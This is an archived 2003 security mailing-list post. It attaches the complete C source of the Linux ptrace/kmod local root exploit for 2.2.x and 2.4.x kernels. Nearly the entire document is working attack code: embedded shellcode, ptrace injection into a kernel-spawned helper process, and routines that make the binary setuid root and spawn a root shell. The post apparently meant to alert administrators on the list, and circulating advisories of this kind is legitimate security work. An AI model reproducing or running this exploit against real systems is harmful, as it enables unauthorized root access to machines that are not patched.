Ptrace vulnerability in kernels <2.4.21-pre6

Archaic archaic at indy.rr.com
Tue Apr 22 18:36:35 PDT 2003


On Tue, Apr 22, 2003 at 08:29:57PM -0500, Archaic wrote:
> This is old news to some, but anyway....

Forgot in include the vulnerability.

-- 
Archaic

-- 
What, then, is law [government]? It is the collective organization of
the individual right to lawful defense."

- Frederic Bastiat, "The Law"

-------------- next part --------------
/* Linux kernel ptrace/kmod local root exploit
*
* Should work under all current 2.2.x and 2.4.x kernels.
*
* Wojciech Purczynski <cliph at isec.pl>
*
* THIS PROGRAM IS FOR EDUCATIONAL PURPOSES *ONLY*
* IT IS PROVIDED "AS IS" AND WITHOUT ANY WARRANTY
*
* (c) 2003 Copyright by iSEC Security Research
*/

#include <grp.h>
#include <stdio.h>
#include <fcntl.h>
#include <errno.h>
#include <paths.h>
#include <string.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
#include <sys/wait.h>
#include <sys/stat.h>
#include <sys/param.h>
#include <sys/types.h>
#include <sys/ptrace.h>
#include <sys/socket.h>
#include <linux/user.h>

char cliphcode[] =
 "\x90\x90\xeb\x1f\xb8\xb6\x00\x00"
 "\x00\x5b\x31\xc9\x89\xca\xcd\x80"
 "\xb8\x0f\x00\x00\x00\xb9\xed\x0d"
 "\x00\x00\xcd\x80\x89\xd0\x89\xd3"
 "\x40\xcd\x80\xe8\xdc\xff\xff\xff";

#define CODE_SIZE (sizeof(cliphcode) - 1)

pid_t parent = 1;
pid_t child = 1;
pid_t victim = 1;
volatile int gotchild = 0;

void fatal(char * msg)
{
  perror(msg);
  kill(parent, SIGKILL);
  kill(child, SIGKILL);
  kill(victim, SIGKILL);
}

void putcode(unsigned long * dst)
{
  char buf[MAXPATHLEN + CODE_SIZE];
  unsigned long * src;
  int i, len;
  memcpy(buf, cliphcode, CODE_SIZE);
  len = readlink("/proc/self/exe", buf + CODE_SIZE, MAXPATHLEN - 1);
  if (len == -1)
    fatal("[-] Unable to read /proc/self/exe");
  len += CODE_SIZE + 1;
  buf[len] = '\0';
  src = (unsigned long*) buf;
  for (i = 0; i < len; i += 4)
    if (ptrace(PTRACE_POKETEXT, victim, dst++, *src++) == -1)
      fatal("[-] Unable to write shellcode");
}

void sigchld(int signo)
{
  struct user_regs_struct regs;
  if (gotchild++ == 0)
  return;
  fprintf(stderr, "[+] Signal caught\n");
  if (ptrace(PTRACE_GETREGS, victim, NULL, &regs) == -1)
    fatal("[-] Unable to read registers");
  fprintf(stderr, "[+] Shellcode placed at 0x%08lx\n", regs.eip);
  putcode((unsigned long *)regs.eip);
  fprintf(stderr, "[+] Now wait for suid shell...\n");
  if (ptrace(PTRACE_DETACH, victim, 0, 0) == -1)
    fatal("[-] Unable to detach from victim");
  exit(0);
}

void sigalrm(int signo)
{
  errno = ECANCELED;
  fatal("[-] Fatal error");
}

void do_child(void)
{
  int err;
  child = getpid();
  victim = child + 1;
  signal(SIGCHLD, sigchld);
  do
    err = ptrace(PTRACE_ATTACH, victim, 0, 0);
  while (err == -1 && errno == ESRCH);
  if (err == -1)
    fatal("[-] Unable to attach");
  fprintf(stderr, "[+] Attached to %d\n", victim);
  while (!gotchild); 
  if (ptrace(PTRACE_SYSCALL, victim, 0, 0) == -1)
    fatal("[-] Unable to setup syscall trace");
  fprintf(stderr, "[+] Waiting for signal\n");
  for(;;);
}

void do_parent(char * progname)
{
  struct stat st;
  int err;
  errno = 0;
  socket(AF_SECURITY, SOCK_STREAM, 1);
  do {
    err = stat(progname, &st);
  } while (err == 0 && (st.st_mode & S_ISUID) != S_ISUID);
  if (err == -1)
    fatal("[-] Unable to stat myself");
  alarm(0);
  system(progname);
}

void prepare(void)
{
  if (geteuid() == 0) {
    initgroups("root", 0);
    setgid(0);
    setuid(0);
    execl(_PATH_BSHELL, _PATH_BSHELL, NULL);
    fatal("[-] Unable to spawn shell");
  }
}

int main(int argc, char ** argv)
{
  prepare();
  signal(SIGALRM, sigalrm);
  alarm(10);
  parent = getpid();
  child = fork();
  victim = child + 1;
  if (child == -1)
    fatal("[-] Unable to fork");
  if (child == 0)
    do_child();
  else
    do_parent(argv[0]);
  return 0;
}


More information about the lfs-security mailing list